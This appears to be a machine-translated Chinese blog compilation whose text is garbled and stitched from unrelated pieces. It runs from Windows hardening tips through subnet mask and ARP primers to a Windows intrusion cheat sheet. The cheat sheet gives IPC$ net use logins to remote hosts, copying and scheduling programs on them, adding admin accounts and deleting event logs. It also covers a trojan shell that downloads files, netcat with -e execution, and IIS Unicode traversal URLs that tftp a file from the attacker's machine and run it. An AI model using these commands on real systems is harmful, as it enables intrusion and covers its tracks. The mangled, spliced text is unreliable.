When it comes to personal security when surfing the net, or should you might encounter the issues belong to a class. We have approximately invasive ways include the following: wuqingying 51cto technology blog.
(1) by others to steal passwords; wuqingying 51cto technology blog. .
(2) system is a Trojan horse attack _blank/>; wuqingying 51cto technology blog.
(3) when browsing a malicious java scrpit process attack; wuqingying 51cto technology blog. .
(4) QQ is attacked or leakage of information; wuqingying 51cto technology blog.
(5) virus infection; wuqingying 51cto technology blog. .
(6) the system vulnerable to attacks of others. Wuqingying 51cto technology blog.
(7) malicious hacker attacks. wuqingying 51cto technology blog. .
Here we look at by what means for more effective protection against attacks. Wuqingying 51cto technology blog.
Check local shared resources. .
Delete shared.
Remove ipc $ null connection. .
Account password security principles.
Close your 139 port. .
445 port closed.
3389 closure. .
4899 prevention.
Common port of the introduction. .
How to view native open ports and filtering.
Disable the service. .
Local policy.
Local Security Policy. .
User rights assignment policies.
Terminal Services Configuration. .
User and group policy.
Prevent rpc vulnerability. .
Do-it-yourself DIY in local policies security options.
Tool description. .
Avoid being malicious code such as viruses, Trojans or wuqingying 51cto technology blog.
1. . See local shared resources wuqingying 51cto technology blog. .
Run the CMD enter net share, if you see any unusual shared, then you should shut down. But sometimes you close a shared next time we have seen, then you should consider whether your machine has been controlled by hackers, or the virus. Wuqingying 51cto technology blog.
2. . To remove shared (each input a) wuqingying 51cto technology blog. .
net share admin$ /delete 。.
net share c $ / delete. .
Net share d $/delete (if you have e, f, ... can continue to delete) wuqingying 51cto technology blog.
3. . Delete ipc $ null connection wuqingying 51cto technology blog. .
Enter regedit in the run, found in registry entry value name HKEY-LOCAL_MACHINESYSTEMCurrentControSetControlLSA RestrictAnonymous value data is 0 to 1. .wuqingying 51cto technology blog.
4. . Close your 139 port, ipc and RPC vulnerability exists here. wuqingying 51cto technology blog. .
Close the port 139 is in "network and dial-up connection," "local area connection", select "Internet Protocol (TCP/IP) properties", go to the "Advanced TCP/IP settings" and "WinS settings" which has a "disable TCP/IP NetBIOS", tick 139 ports closed. Wuqingying 51cto technology blog.
5. . To prevent rpc vulnerability wuqingying 51cto technology blog. .
Open Administrative Tools — — Services — — find the RPC (Remote Procedure Call (RPC) Locator) services — will be the recovery in the first failure, second failure, and subsequent failures, are set to no. Wuqingying 51cto technology blog.
XP SP2 and the 2000 pro sp4, not the existence of the vulnerability. wuqingying 51cto technology blog. .
6. .445 port closed wuqingying 51cto technology blog.
Modify the registry, add a key HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Services \ NetBT \ Parameters In the right window for the REG_DWORD type a SMBDeviceEnabled key to 0 so that ok. wuqingying 51cto technology blog. .
7. close wuqingying .3389 51cto technology blog.
XP: right click my computer select properties - /> Remote, to which the Remote Assistance and Remote Desktop are two options box to remove the hook. wuqingying 51cto technology blog. .
Start-/Win2000server > Programs —/> Administrative Tools > Services —/Terminal Services service is found, select the properties option in the startup type to manual, and the service is stopped. (This method also works in XP) wuqingying 51cto technology blog.
Using the 2000 pro's friends note that there are many articles said the network began in Win2000pro - /> Settings - /> Control Panel - /> Administrative Tools - /> services find Terminal Services service item, select the Properties option change the startup type to manual and stop the service, you can close the 3389, in fact, does not exist in the 2000pro in Terminal Services. . Wuqingying 51cto technology blog. .
8. Prevention of .4899 wuqingying 51cto technology blog.
There are many network intrusion methods 3389 and 4899. 4899 is actually a remote control software to open server ports, as these powerful control software, so often used by hackers to control their own chickens, and such software, antivirus software generally will not be killing, but also safe than the back door . wuqingying 51cto technology blog. .
4899 unlike 3389, is a system of services. You need to install and will need to upload to the service side intrusion computer and run the service, in order to achieve the purpose of the control. Wuqingying 51cto technology blog.
So long as your computer do the basic security features, hackers are difficult to control you by 4899. wuqingying 51cto technology blog. .
9, disabling services wuqingying 51cto technology blog.
If the PC has no special purpose, based on security considerations, open the Control Panel, access to management tools - services, shut down the following services: wuqingying 51cto technology blog. .
1. .Alerter [notifies selected users and computers of administrative alerts].
2. . ClipBook [enable the "Clipboard Viewer" to store information and share with the remote computer]. .
3. File System [.Distributed distributed file sharing into a single logical name, shared out, shut down the remote computer cannot access the share.
4. . Distributed Link Tracking Server [for LAN Distributed link]. .
6. .Indexing Service [provides local or remote computer file content and properties of the index, the disclosure of the information].
7. . Messenger [alarm]. .
8. .NetMeeting Remote Desktop Sharing [netmeeting the customer information collected].
9. . Network DDE [in the same computer or different programs running on the computer to provide dynamic data exchange]. .
10. .Network DDE DSDM [manages dynamic data exchange (DDE) network shares].
11. . Remote Desktop Help Session Manager [Management and control of remote assistance]. .
12. .Remote Registry [enables remote users to modify the local registry].
13. . Routing and Remote Access [to provide LAN and WAN routing services. . Hacker gathering ground routing registration information]. .
14. .Server [support this computer over a network, file, print, and named pipe sharing].
15. .TCP / IPNetBIOS Helper [offers TCP / IP services on the network, NetBIOS and NetBIOS name resolution client support Ershi users to share files, print, and log on to the network]. .
16. .Telnet [allow remote users to log on to the computer and run the program].
17. . Terminal Services [allows users to interactively connect to remote computers]. .
18. .Window s Image Acquisition (WIA) [photographic services, applications and digital camera] wuqingying 51cto technology blog.
If you find some very strange machine to open the service, such as r_server this service, you must immediately stop the service because it is very possible that hackers use the server control program. wuqingying 51cto technology blog. .
10. account password security principles wuqingying 51cto technology blog.
First disable guest account, the system built-in administrator account renamed ~ ~ (to change the more complex the better, the best change in Chinese), and then set a password, preferably 8 or more alphanumeric symbols combination. (To those damn hackers guess slowly go ~) wuqingying 51cto technology blog. .
。 Permissions to the maximum this is password policy: the user can according to their own habits set password, here is my recommended settings (on the password security settings, I have already said above, there is no longer a wordy. Wuqingying 51cto technology blog.
Open Administrative Tools. Local security settings. Password policy wuqingying 51cto technology blog. .
1. passwords must meet complexity requirements.-enabled.
2. . Password minimum. . I set the 8. .
3. the maximum password age. I is the default setting is 42 days.
4. . Minimum password age 0 days. .
5. enforce password history remember 0 passwords.
6. . With reducible _blank /> encryption to store passwords disable wuqingying 51cto technology blog. .
11, local policy: wuqingying 51cto technology blog.
This is important, you can help us find the people who feel unpredictable every move, you can help us in the future to trace hackers. wuqingying 51cto technology blog. .
(Although most hackers will go is clear in your computer, however there are also some careless) wuqingying 51cto technology blog.
Open the Administrative Tools wuqingying 51cto technology blog. .
Find local security settings. Local policy. Audit policy wuqingying 51cto technology blog.
1. . Audit policy change success or failure. .
2. the audit login failed event is successful.
3. . Audit object access failure. .
4. audit tracking process no auditing.
5. . Audit directory service access failures. .
6. Audit privilege use failed.
7. . Audit system events of success or failure. .
8. Audit account login time successfully failed.
9. . Audit account management success or failure. .
&Nbsp; and then find the management tools.
Event Viewer. .
Applications: right-click > Properties//set maximum log size > I set 50mb, select the do not overwrite events.
Security: Right /> Properties /> to set the log size limit, I also set up 50mb, choose not to cover the event. .
System: right click/Properties/> settings > log size limit, I have set up 50mb, select the do not overwrite events wuqingying 51cto technology blog.
12, the local security policy: wuqingying 51cto technology blog. .
Open Administrative Tools wuqingying 51cto technology blog.
Find the local security settings. Local policy. Security Options wuqingying 51cto technology blog. .
1. interactive login. you do not need to press CTRL + Alt + Del opening [based on individual need, but I personally do not need to directly enter password log-in].
2. . Network access. . Does not allow anonymous enumeration of SAM accounts opened. .
3. network access. shared can be anonymous will delete the following values.
4. . Network access. . Can be anonymous, the value of the named pipe will be removed later. .
5. network access. remotely accessible registry paths will delete the following values.
6. . Network access. . Can remotely access the registry of the sub-path behind the value of the deletion. .
7. network access. restrict anonymous access to named pipes and shares.
8. . Account. . (Previously talked in detail drawing) wuqingying 51cto technology blog. .
13, user rights assignment policies: wuqingying 51cto technology blog.
Open the Administrative Tools wuqingying 51cto technology blog. .
Find local security settings. Local policy. User rights assignment wuqingying 51cto technology blog.
1. . To access the computer from the network which in general default has 5 users, in addition to that we remove the four outer Admin, of course, so we have to build a following of their own ID. .
2. the Force shutdown from a remote system, the Admin account is deleted, all without leaving.
3. . Refuse access to this computer from the network ID will be deleted. .
4. the access this computer from the network, the Admin can also be deleted if you do not use the service similar to 3389.
5. . Forced shutdown by remote. Deleted wuqingying 51cto technology blog. .
14, Terminal Services configuration wuqingying 51cto technology blog.
Open the Administrative Tools wuqingying 51cto technology blog. .
Terminal Services configuration wuqingying 51cto technology blog.
1. . Opens, point to connect, right, property, remote control, point does not allow remote control. .
2. General, encryption level, high, using the standard Windows authentication dot √!..
3. . NIC, the maximum number of connections set to 0. .
4. Advanced permissions will also remove it. [I didn't set].
Another point of server settings, the Active Desktop, set the disabled, and limit each to use a session wuqingying 51cto technology blog. .
15, user, and group policy wuqingying 51cto technology blog.
Open the Administrative Tools wuqingying 51cto technology blog. .
Computer management. Local users and groups. User; wuqingying 51cto technology blog.
Remove Support_388945a0 user, etc. leaving only the good name of adminisrator you change the permissions wuqingying 51cto technology blog. .
Computer management. Local users and groups. Group wuqingying 51cto technology blog.
Group. We do not block, and every necessary to wuqingying 51cto technology blog. .
16, do-it-yourself DIY in local policies security options wuqingying 51cto technology blog.
1) When the landing time spent off automatically when the user (local) to prevent the infiltration of hackers password. .
2) login screens do not display last login name (remote) if open 3389 service, login, you will not have your login remains.. let him go to guess your username to you.
3) Additional restrictions for anonymous connections. .
4) prohibits the crtl + ALT + del (no need).
5) allows shut down without landing [to prevent remote shutdown / startup, force shutdown / start]. .
6) only local login users can access the cd-rom.
7) Only the local login users can access a floppy drive. .
8) cancel the shutdown reason tips.
A, open the Control Panel window, double-click "Power Options" icon, in the subsequent power the Properties window, enter the "Advanced" tab page;. .
B, in the pages of the "power button" settings "item and press the power button on my computer" is set to "off" and click "OK" button to exit the settings box.
C, after the required shutdown, can press the power button, you can directly turn off your computer. Of course, we can enable the hibernation function keys, to achieve rapid shutdown and startup;. .
D, if the system does not enable Hibernate mode, you can in the Control Panel window, open the power options control panel, access the Hibernate tab, which will "enable hibernation" option is selected on the can.
9) prohibit the Shutdown Event Tracker. .
Start-start ">" run "/Run-/> enter the" gpedit. . .
17, common port describes wuqingying 51cto technology blog.
TCP. .
21 FTP 。.
22 SSH. .
23 TELNET 。.
25 TCP SMTP. .
53 TCP DNS 。.
80 HTTP. .
135 epmap 。.
138 [shock wave]. .
139 smb 。.
445. .
1025 DCE/1ff70682-0a51-30e8-076d-740be8cee98b 。.
1026 DCE/12345778-1234-abcd-ef00-0123456789ac. .
1433 TCP SQL SERVER 。.
5631 TCP PCANYWHERE. .
5632 UDP PCANYWHERE 。.
3389 Terminal Services. .
4444 [wave].
. .
UDP 。.
67 [shock wave]. .
137 netbios-ns 。.
161 An SNMP Agent is running / Default community names of the SNMP Agent. .
About UDP generally only Tencent QQ opens 4000 or 8000 port or 8080, then we only run this computer uses the port 4000 line wuqingying 51cto technology blog.
18, also describe how to view the machine to open the ports and tcp \ ip port filtering wuqingying 51cto technology blog. .
Start-run-cmd.
Enter the command netstat-a. .
See for example (this is my machine open ports).
Proto Local Address Foreign Address State. .
TCP yf001:epmap yf001:0 LISTE 。.
TCP yf001: 1025 yf001: 0 LISTE. .
TCP (username): 1035 yf001: 0 LISTE 。.
TCP yf001: netbios-ssn yf001: 0 LISTE. .
UDP yf001:1129 *:* 。.
UDP yf001: 1183 *: *. .
UDP yf001:1396 *:* 。.
UDP yf001: 1464 *: *. .
UDP yf001:1466 *:* 。.
UDP yf001: 4000 *: *. .
UDP yf001:4002 *:* 。.
UDP yf001: 6000 *: *. .
UDP yf001:6001 *:* 。.
UDP yf001: 6002 *: *. .
UDP yf001:6003 *:* 。.
UDP yf001: 6004 *: *. .
UDP yf001:6005 *:* 。.
UDP yf001: 6006 *: *. .
UDP yf001:6007 *:* 。.
UDP yf001: 1030 *: *. .
UDP yf001:1048 *:* 。.
UDP yf001: 1144 *: *. .
UDP yf001:1226 *:* 。.
UDP yf001: 1390 *: *. .
UDP yf001:netbios-ns *:* 。.
UDP yf001: netbios-dgm *: *. .
UDP yf001:isakmp *:* 。.
Now talk about the Windows-based tcp / ip filtering. .
Control Panel-Network and dial-up connection-local connection — the INTERNET Protocol (tcp/ip)--attributes-advanced-options-TCP/IP filtering-properties!! 。.
Then add the tcp and UDP ports need to be a ~ if the port is not very understanding, then, do not easily filter, or may cause some programs unusable. wuqingying 51cto technology blog. .
19, about browser wuqingying 51cto technology blog.
IE browser (or browser based on IE core) there is privacy issues, index. . Dat file a record of your online information. Therefore, I recommend you change a browser other kernel. wuqingying 51cto technology blog. .
Fried in very hot now in FireFox, it is very good, if you want to create a personalized belonging to their browser, FireFox is preferred. It has a powerful extended customization capabilities! wuqingying 51cto technology blog.
There are legends that paragraph the fastest browser Opera, amazing speed, interface, gorgeous, the author is using. (In 3 hours ago, OPERA company sent 10-year celebration of the official registration code, I applied for two ,^_^) wuqingying 51cto technology blog. .
Of course, because some Web pages and not with the WC3 organization certification standard HTML languages, IE still can't leave for standby. Wuqingying 51cto technology blog.
IE can deal with privacy: Webroot WindowWasher - www. . Hanzify. . Org Speaking at a formal version + patch Ccleaner - GOOGLE about the official account there, multiple languages. wuqingying 51cto technology blog. .
RAMDISK uses virtual memory to a hard disk, the cache files are written in, not only to solve privacy issues, theoretically, can improve the speed. (Recommended memory/use > = 512M) wuqingying 51cto technology blog.
20, a last resort, the most crucial trick: install the software and firewall wuqingying 51cto kill technology blog. .
Antivirus software depends on the strength, never see the ads. A virus author feifan mixed half-year, to kill the soft almost packed, the following is a personal experience: wuqingying 51cto technology blog.
1: Domestic soft kill: Jiangmin one, who with the contention peak? KV's major flaw is that the hard disk then bomb it, huh, huh. In fact, on the strength of Jiangmin in China is definitely a unique show. Advanced anti-virus engine, a more complete virus database, clear the live virus ability, ability to kill shell can kill chain DLL, control sensitivity, accounting for system memory small. - Disclaimer: I am not a KV of the gunmen, killed because of domestic software companies will advertise widely, what should be BS. wuqingying 51cto technology blog. .
DB2005 are 2005 until killed two shells? false positives peerless Rising, but the readily next bag is basically no it reported (or not to try feifan virus district: bbs. .crsky. .com); Fernando also good, but there is still much to be compared with the KV; the magazine is actively promoted, but virus library is not very wide. Wuqingying 51cto technology blog.
2: Foreign kill soft: contending! wuqingying 51cto technology blog. .
Kapersky: the Russian kill soft in the fiery, home of the world's first drug library, a free library for 3 hours, the system provides the most complete protection. Wuqingying 51cto technology blog.
McAfee: United States kill soft, gentle and strong protection for some qualifications of the user. Of the rules properly, vulnerable to the attack. wuqingying 51cto technology blog. .
Norton: Alas, old old, domestic horse was an idiot. This is not to say it, but it also is one of the three soft kill international, alas wuqingying 51cto technology blog.
NOD32: accounting for resources and ultra-small, ultra-fast anti-virus, monitoring sensitive, but seems incomplete drug library. wuqingying 51cto technology blog. .
BitDefender is good to kill: Romania, ability to balance. Wuqingying 51cto technology blog.
GData AntiVirusKit: real tough! It uses Kapersky + BitDefender's twin-engine, and optimized handling, the system will not be card. wuqingying 51cto technology blog. .
F-Scure: even exaggeration to 4 engine but in addition to the engine Kapersky4. .0, other very general. Although protection is very good, but I think of it as AVK (previous). Wuqingying 51cto technology blog.
I recommend: General configuration KV2005 OR McAfee OR Kapersky OR GData AntiVirusKit; - slightly better configuration can be used for an office (except KV2005) + KV2004 KV2004 OR NOD32 master machine configuration better machine GData AntiVirusKit + KV2005 OR Kapersky + KV2005 OR McAfee + KV2005wuqingying 51cto technology blog. .
Firewall, system of the last line of Defense. Even if they kill some soft and strong, most new variants of Trojans still they must attack first. There is no firewall, your machine is likely to be a Haker's proxy server, huh, huh. Also, if your system is vulnerable, Haker will easily to Your PC Contral. powerful firewall recommendation: Stop n ' Look ': first in the world. Occupied memory super small. Start the Super fast. Wuqingying 51cto technology blog.
ZoneAlarm: a powerful sexual force, a lot of functions, comprehensive and stable. wuqingying 51cto technology blog. .
Tiny: it is a profession to the horrors of the firewall, capabilities for a more professional and valiant!. Wuqingying 51cto technology blog.
Skynet: most of the country, just and abroad than ... ... wuqingying 51cto technology blog. .
A Trojan is killing things almost useless, because they simply do not have any advanced engine. If you must, ewido, this can also.
Subnet mask is that each network must master the basic knowledge, only to master it before we can truly understand the TCP / IP protocol settings. Here we come to explain in layman's language what is the subnet mask. .
IP address of the structure.
To understand what is the subnet mask, you can not understand the composition of IP addresses. The Internet is composed of many smaller networks, each network has many hosts, this would constitute a hierarchical structure. IP address is designed to be allocated to address the level of the characteristics of each IP address are divided into network number and host number two to the IP address of the addressing operation. .
。.
IP address of the network number and host number is how many of each do? If not specified, do not know which bit is the network number, which is a host ID, which subnet mask needs to be achieved. .
What is the subnet mask.
Subnet mask can not exist, it must be combined with the use of IP addresses. Subnet mask is only one role, that is, an IP address will be divided into network and host addresses of two parts. .
Subnet mask setting must follow certain rules. The same IP address, the subnet mask length is 32 bits, the bits to the left is a network, use the binary digit "1" indicates that the right host bits, binary digit "0". As shown in the drawings is the IP address is ".168.192.. .1 .1" and the subnet mask is "255. .255. .255. .0" binary comparison. Where "1" to 24, and this corresponds to the IP address on the left is the network number 24 bits; the "0" on behalf of eight, and this corresponds to the IP address is on the right side of 8-bit host number. . This use of TCP / IP network protocol is very important, only through the subnet mask, to show where a host of other subnets subnet relations to the network properly. .
Common subnet mask.
Subnet mask of hundreds of species introduced here only the two most commonly used subnet mask, they are "255. .255. .255. .0" And "255. .255. .0. .0." .
1. the subnet mask is "255. .255. .255. .0" at the end of the network: one number can be 0 ~ 255 any changes within, and therefore can provide 256 IP addresses. But the actual number of available IP addresses is 256-2, 254, because the host number can't be "0" or "1".
2. . Subnet mask is "255. .255. .0. .0" Network: behind the two figures can range from 0 to 255, any change, can provide 2552 IP addresses. But the actual number of available IP address is 2552-2, that is, 65 023. .
The subnet mask for the IP address settings are not arbitrary. . Therefore, the subnet mask should be set according to the size of the network. .
If the size of a network does not exceed 254 computers, using the "255. .255. .255. .0" as the subnet mask, and now most LAN will not exceed this number, so the "255. .255. .255. .0" is the most common IP address subnet mask; I saw the largest campus has 1500 more than one computer, the size of the LAN can use "255. .255. .0 .0..."
Default subnet mask. .
In Windows 2000 Server, if you specify the IP address of a network adapter, the system automatically populated with a default subnet mask. This is a Windows 2000 Server to save user input time automatically generates the subnet mask. For example, the most frequently used LAN IP address ".168.192.. .x .x" default subnet mask is "255. .255. .255. .0." In General, the IP address using the default subnet mask on the can.
wuqingying 51cto technology blog from 51CTO. . COM blog (with the remote host to establish ATM connections) net use \ \ IP address \ ipc $ "" / use: "". .
(Log in as administrator on the remote host) \\IP address net use \ipc $ "password:" Administrator "/use.
(Send a file to the remote host WINNT directory) copy a local directory path \ program \ \ IP address \ admin $. .
(See remote host time) net time \\IP address.
(Timer start a program) at \ \ IP address of 02:18 readme. . Exe. .
(See share) net view \\IP address.
(See a list of the Working Group netbios) nbtstat-A IP address. .
(Remote host C disc map to your own F) net use \\IP address f: \c $ ""/user: "Administrator".
(The two themselves to the Administrators group): net user username password / add. .
Net localgroup Administrators username/add.
(Disconnected) net use \ \ IP address \ ipc $ / delete. .
=====================================================。.
Wiping ass:. .
del C:\winnt\system32\logfiles\*。.*。.
del C: \ winnt \ system32 \ config \ *. . Evt. .
del C:\winnt\system32\dtclog\*。.*。.
del C: \ winnt \ system32 \ *. . Log. .
del C:\winnt\system32\*。.txt。.
del C: \ winnt \ *. . Txt. .
del C:\winnt\*。.log。.
============================。 .
I. netsvc. .exe.
The following commands are listed on the host services, search and remote start the host of the "time task" services:. .
Netsvc/list \\IP address.
netsvc schedule \ \ IP address / query. .
Netsvc \\IP address/start schedule.
Second, OpenTelnet. . Exe. .
Host-remote to start the Telnet service, and bind to the port, for example: 7878.
OpenTelnet \ \ IP address of the user name password 17878. .
Then you can telnet to a host of 7878 port, DOS mode:.
telnet IP address 7878. .
Third, the winshell. .exe.
Trojan horse of a very small (less than 6K), telnet to the host of the 7878 port, enter the password winshell, when you see the CMD> later, to play the following command:. .
P Path (see the winshell path information for the main program).
b reBoot (to restart the machine). .
D shutDown (shut down the machine).
s Shell (executed you will see the lovely "C: \>"). .
X eXit (exit this logon session, this command does not terminate the winshell run).
CMD> http://. . / Srv. . Exe (on other sites via http to download the file to the machine running winshell). .
Fourth, 3389 landers, GUI mode login to a remote host.
5, elsave. . Exe. .
Event log removal tool.
elsave-s \ \ IP address-l "application"-C. .
\\IP address elsave-s-l-C "system".
elsave-s \ \ IP address-l "security"-C. .
After successfully clears the application log, System log, security log.
6, hbulot. . Exe. .
Opening of 3389 win2kserver and winxp.
hbulot [/ r]. .
Use the/r said after the installation is completed automatically restart the target for the settings to take effect.
7, nc. . Exe (netcat.. Exe). .
A very good tool, some script that you want to use it, you can make the connection available after overflow.
Want to connect to somewhere: nc [-options] hostname port [s] [ports]. .
Binding ports waiting for a connection: nc-l-p port [-options] [hostname] [port].
Parameters:. .
-E prog program redirects, once connected, the execution [dangerous!!].
-G gateway source-routing hop point [s], up to 8. .
-G num source-routing pointer: 4, 8, 12, 。.
-H Help. .
-I interval secs delay.
-L listen mode, for inbound connections. .
-N Specifies the number of IP address, hostname cannot be used.
-O file transfer record of 16 hex. .
-P port-the local port number.
-R arbitrary local and remote port. .
-Local source address s addr.
-U UDP mode. .
-V verbose output — two-v can get more detailed content.
-W secs timeout time. .
-Z input output turned off — for scanning.
8, TFTPD32. . EXE. .
Their temporary becomes one FTP server to download files, broilers tftp command to execute on the broiler, often to take advantage of a vulnerability or Unicode to telnet, for example: broiler chickens.
http://IP Address / s cripts /. .% 255c. .% 255c/winnt/system32/cmd. . Exe? / C tftp-i IP address of the machine get the file name c: \ winnt \ system32 \ file name. .
You can then run the file directly:.
http://IP Address / s cripts /. .% 255c. .% 255c/winnt/system32/cmd. . Exe? / C + file name. .
9. prihack. .exe is IIS remote buffer overflow in the printer. Idqover. .exe is overflow idq, after selecting the "overflow in a port monitor", and then use telnet to connect its listening port, if overflow is successful, a company of its port, bind command immediately executed. Xploit. .exe is a graphical interface of the ida overflow after winxp will need to make winxp.
10, ntis. . Exe, cmd. . Exe and cmdasp. . Asp is three cgi-backdoor, exe to put cgi-bin directory, asp ASP implementation of the authority into a directory. Then use the IE browser to connect. .
First, run a command line parameter Xscan:.
In the detection process, by "[space]" button to see the progress of each thread state and scanning, press "q" key to save the current data early exit, press the "" forcibly shut down procedures. .
1. command format: xscan-host [-] [additional options].
xscan-file [other options]. .
The meaning of which is as follows:.
-Port: detection of commonly used services of the port state (by \ dat \ config.. Ini file "PORT-SCAN-OPTIONS \ PORT-LIST" list item custom ports to be detected);. .
FTP-ftp: detecting weak password (you can set the .ini file \dat\config. username/password dictionary files).
-Ntpass: detection of NT-Server weak password (by \ dat \ config.. Ini file to set the user name / password dictionary file);. .
CGI-cgi: detecting vulnerabilities (available through \dat\config. .ini file "CGI-ENCODE\encode_type" setting encoding scheme).
-Iis: IIS vulnerabilities detected (through the \ dat \ config.. Ini file in the "CGI-ENCODE \ encode_type" key set encoding scheme);. .
[Additional options] meaning as follows:.
-V: Display detailed scan progress. .
-P: skipping Ping host is blocked.
-O: not detected open ports to skip the host. .
-T: specify the maximum number of concurrent threads and the number of concurrent host to 100, default number 10.
ARP protocol on the basis of knowledge. .
1.ARP works wuqingying 51cto technology blog.
I did not intend to repeat those over and over all the basic knowledge about the ARP, but in order to maintain the integrity of the article and take care of beginners, I re-winded some text on the right, experienced readers can skip this section. wuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
We all know that Ethernet devices such as network card has its own globally unique MAC address, which is the Ethernet MAC address to transmit packets, but they can not we identify the IP address of IP packets, so we have to Pacific Network for IP communications, when an agreement on the need to establish IP address and MAC address correspondence to enable IP data packets to send to a certain place. This is the ARP (Address Resolution Protocol, ARP). wuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
Mentioned here, we can command line window, enter wuqingying 51cto technology blog. .
Arp-awuqingying 51cto technology blog.
Look at the results, similar to this blog entry wuqingying 51cto technology. .
210. .118. .45.00-.100 0b-5f-e6-c5-d7 dynamicwuqingying 51cto technology blog.
That is stored on our computer IP address and MAC address of the corresponding relationship, dynamic that is temporarily stored in the ARP cache entries, over time it will be deleted out (xp/2003 system is 2 minutes). wuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
In this way, such as our computer to a machine such as 210. VIII.118. .45. .1 Communication time, it will first go to check the arp cache arp to find whether there are corresponding entries, if not, it will send the Ethernet packet broadcast ARP request asking 210. VIII.118. .45. .1 Corresponding MAC address, of course, the network each computer will receive the request packet, but they found 210. VIII.118. .45. .1 Is not their own, they will not make the appropriate, and 210. VIII.118. .45. .。.
210. VIII.118. .45. .1 Xx-xx-xx-xx-xx-xx dynamicwuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
Why should there be such an ARP cache it, Just imagine if there is no cache, each of us send an IP packet should send a broadcast query address, is it a waste of bandwidth, waste of resources? wuqingying 51cto technology blog. .
And our network device is unable to identify the authenticity of the ARP packet, if we follow the ARP format to send packets to the computer as long as the information is valid according to the package will make the appropriate response. .wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Imagine, if we follow the ARP response packet corresponding to refresh its list of ARP cache, 嘿嘿, that we may, in accordance with this point in the absence of security of the network play some ARP packet trick? later in this article I'll teach you how to hands-on to populate ARP packet is sent, but don't worry, we'll continue to learn some basics on ^ _ ^ wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
2.ARP package format wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Since we want to do an ARP packet of our own, of course, first of all to learn about ARP packet format. Wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
From the network layer, an ARP packet is divided into two parts, the first one is the physical frame header is followed by an ARP frames. Wuqingying 51cto technology blog.
First, the physical frame header, would remain in existence at any one protocol data packet in front, we Chen Zhiwei DLC Header, Yinweizhege frame header yes Gouzao of the data link layer, 并且 its features as sending and receiving sides of the physical address for hardware identification. wuqingying 51cto technology blog. .
DLC Headerwuqingying 51cto technology blog.
Field wuqingying 51cto technology blog. .
Length (Byte) wuqingying 51cto technology blog.
Default wuqingying 51cto technology blog. .
Note wuqingying 51cto technology blog.
Receiver MACwuqingying 51cto technology blog. .
6wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Broadcasting, technical blog ff-ff-ff-ff-ff-ffwuqingying 51cto.
Sender MACwuqingying 51cto technology blog. .
6wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
Ethertypewuqingying 51cto technology blog. .
2wuqingying 51cto technology blog.
0x0806wuqingying 51cto technology blog. .
0x0806 ARP frame type value wuqingying 51cto technology blog.
Figure 1, the physical frame header format wuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
Figure 1, we need to fill the physical frame header format, we can see that we need to fill only the sender and the receiver's physical address and is thus not very easy to use them? Wuqingying 51cto technology blog. .
Next we look at ARP frame format. Wuqingying 51cto technology blog.
ARP Framewuqingying 51cto technology blog. .
Field wuqingying 51cto technology blog.
Length (Byte) wuqingying 51cto technology blog. .
The default value wuqingying 51cto technology blog.
Notes wuqingying 51cto technology blog. .
Hardware type wuqingying 51cto technology blog.
2wuqingying 51cto technology blog. .
0x1wuqingying 51cto technology blog.
Ethernet type value wuqingying 51cto technology blog. .
The upper layer protocol type wuqingying 51cto technology blog.
2wuqingying 51cto technology blog. .
0x0800wuqingying 51cto technology blog.
Upper layer protocol for the IP protocol wuqingying 51cto technology blog. .
MAC address length wuqingying 51cto technology blog.
1wuqingying 51cto technology blog. .
0x6wuqingying 51cto technology blog.
Ethernet MAC address length 6wuqingying 51cto technology blog. .
IP address length wuqingying 51cto technology blog.
1wuqingying 51cto technology blog. .
0x4wuqingying 51cto technology blog.
IP address length 4wuqingying 51cto technology blog. .
Opcode wuqingying 51cto technology blog.
2wuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
0x1 said ARP request packet, 0x2, said response packet wuqingying 51cto technology blog. .
Sender MACwuqingying 51cto technology blog.
6wuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Sender IPwuqingying 51cto technology blog.
4wuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Receiver MACwuqingying 51cto technology blog.
6wuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Receiver IPwuqingying 51cto technology blog.
4wuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Fill data wuqingying 51cto technology blog.
18wuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
Because physical frame minimum length of 64 bytes, 42 bytes plus the previous 4-byte CRC checksum, there is still 18 bytes wuqingying 51cto technology blog. .
DOS shell common network related wuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Shenzhen Huawei Technologies co., Ltd. wuqingying 51cto technology blog.
Huawei Technologies wuqingying 51cto technology blog. .
Chapter 1-Introduction to wuqingying 51cto technology blog.
1. . Overview. .
In our work often deal with network and win95/98 or NT is more commonly used drills.
For the system during the use of these operating systems are most frequently used tool is readily available. .
The virtual DOS machine in the DOS common network related commands wuqingying 51cto technology blog.
As under the current common network-related DOS commands you use more than the network command under DOS. .
Extremely rich some commands while commonly used but a parameter but did so I want to pass this.
Text for an induction so that people understand that the tools used wuqingying 51cto technology blog. .
This article was previously published under a total of 12 DOS commands and their parameters are described in detail in the commands manual type.
The document can be useful for all wuqingying 51cto technology blog. .
2. Command line format description.
This command-line expression [] of that parameter is optional wuqingying 51cto technology blog. .
Chapter II describes the network command under DOS wuqingying 51cto technology blog.
1. . Arp. .
Display and modify the address resolution protocol (ARP) uses the IP to an Ethernet or token ring physical address translation.
Table of the order only if they install TCP / IP protocol can only be used wuqingying 51cto technology blog. .
Arp-a [inet_addr] [-N [if_addr]] wuqingying 51cto technology blog.
arp-d inet_addr [if_addr] wuqingying 51cto technology blog. .
Arp-s inet_addr ether_addr [if_addr] wuqingying 51cto technology blog.
Parameters wuqingying 51cto technology blog. .
-Awuqingying 51cto technology blog.
By asking TCP / IP to display the current ARP entry only if the specified inet_addr display the specified computer. .
